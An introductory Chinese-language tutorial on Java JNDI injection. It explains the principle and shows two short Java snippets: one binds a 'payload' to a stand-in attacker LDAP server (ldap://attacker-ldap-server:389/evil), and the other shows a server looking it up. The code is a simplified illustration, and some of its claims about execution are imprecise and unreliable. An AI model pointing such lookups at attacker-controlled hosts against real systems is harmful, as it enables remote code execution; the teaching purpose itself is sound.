Java JNDI 注入漏洞是一种安全漏洞，利用该漏洞可以在 Java 应用程序中执行远程代码，导致潜在的安全风险。JNDI 注入漏洞的原理主要涉及恶意构造 JNDI 上下文，使得 Java 应用程序在进行 JNDI 查找时会触发远程代码执行。

攻击者的角度：

服务端的角度：

漏洞原理：

JNDI 上下文构造：攻击者通过在 Java 应用程序中构造恶意的 JNDI 上下文（如 LDAP、RMI、CORBA 等），将其绑定到特定的命名空间中。
应用程序触发： Java 应用程序在进行 JNDI 查找时，会根据配置从命名空间中查找对象，并尝试进行远程连接。
远程代码执行：如果 JNDI 上下文中的 URL 包含了恶意的代码执行语句，那么在进行 JNDI 查找时，Java 应用程序会执行该恶意代码。

漏洞利用操作示例：

以下是一个简单的示例来演示 JNDI 注入漏洞的利用操作：

攻击者的角度：

1.构造恶意的 JNDI 上下文： 攻击者构造了一个恶意的 JNDI 上下文，指定了初始化上下文所需的工厂类为 com.sun.jndi.ldap.LdapCtxFactory，并设置了提供者 URL 为 ldap://attacker-ldap-server:389/evil。这里的 attacker-ldap-server 是攻击者控制的 LDAP 服务器，evil 是该 LDAP 服务器上的恶意命名空间。

*恶意命名空间指的是攻击者控制的命名空间或命名环境，其中包含了攻击者预先构造的恶意对象或恶意数据。
在 JNDI 注入漏洞的情境下，攻击者可能会利用漏洞构造恶意的 JNDI 上下文，并将恶意对象绑定到自己控制的命名空间中，
以引诱或欺骗服务端应用程序在后续的操作中执行恶意代码或处理恶意数据。

2.绑定恶意对象： 攻击者使用 bind 方法将一个恶意对象绑定到了 LDAP 服务器的命名空间中，绑定的名称为 name，内容为 payload。这里的 payload 可以是恶意的 Java 代码或其他类型的数据，攻击者可以在这里执行远程代码。

在 ctx.bind("name", "payload"); 这行代码中，name 和 payload 通常指的是绑定到 JNDI 上下文中的对象的名称和内容。

*name 是指要绑定的对象在 JNDI 上下文中的名称或路径。这个名称可以是任意的字符串，用于标识要绑定的对象在命名空间中的位置。
*payload 则是要绑定到 JNDI 上下文中的对象的内容或数据。这个内容可以是任意的 Java 对象，包括但不限于字符串、字节数组、序列化对象等。

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class Attacker {
    public static void main(String[] args) {
        try {
            // 构造恶意的 JNDI 上下文
            Hashtable<String, Object> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://attacker-ldap-server:389/evil");
            Context ctx = new InitialContext(env);
            // 将恶意对象绑定到命名空间中
            ctx.bind("name", "payload");
            System.out.println("恶意对象已绑定到 LDAP 服务器的恶意命名空间中");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这段代码中，攻击者构造了一个恶意的 JNDI 上下文，并将一个恶意对象绑定到了 LDAP 服务器的恶意命名空间中。这个恶意对象可以是恶意的 Java 代码或其他类型的数据。

在 Java 中，JNDI 上下文中的对象通常是通过网络传输或存储在远程服务器上的，而服务端应用程序需要将这些对象反序列化为本地对象来进行处理。在 JNDI 注入漏洞的情况下，攻击者构造了恶意的 JNDI 上下文，并将恶意对象绑定到了命名空间中。当服务端应用程序尝试从这个恶意的 JNDI 上下文中获取对象时，会触发反序列化操作，将恶意对象反序列化为本地对象。恶意对象中可能包含了恶意的 Java 代码或其他类型的恶意数据，而服务端应用程序在反序列化过程中会执行这些恶意代码，从而导致了恶意代码的执行。

服务端的角度：

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Server {
    public static void main(String[] args) {
        try {
            // 创建 JNDI 上下文并尝试查找对象
            Context ctx = new InitialContext();
            String name = (String) ctx.lookup("ldap://attacker-ldap-server:389/evil/name");
            // 恶意代码 payload 被执行
            System.out.println("从恶意 LDAP 服务器中获取的名称: " + name);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

1.创建 JNDI 上下文： 服务端应用程序使用 InitialContext 创建了一个 JNDI 上下文对象，通过提供的环境属性，将其连接到了指定的 LDAP 服务器上的命名空间。

2.查找对象： 服务端应用程序可能在后续的操作中尝试从 JNDI 上下文中查找对象，例如使用 lookup 方法。在这个例子中，服务端应用程序可能会尝试查找名为 name 的对象。

3.触发远程代码执行： 当服务端应用程序执行 JNDI 查找操作时，它会连接到攻击者控制的 LDAP 服务器，并尝试从 evil 命名空间中查找名为 name 的对象。如果 LDAP 服务器返回了恶意的 payload 对象，服务端应用程序可能会尝试将其反序列化或执行其他操作，从而触发恶意代码的执行。

在这段代码中，服务端应用程序尝试从 JNDI 上下文中查找对象，但是在查找的过程中，它连接到了攻击者控制的 LDAP 服务器，并尝试从恶意命名空间中获取名为 name 的对象。如果 LDAP 服务器返回了恶意的 payload 对象，服务端应用程序可能会触发恶意代码的执行。

初识JNDI注入

漏洞原理：

漏洞利用操作示例：

攻击者的角度：

服务端的角度：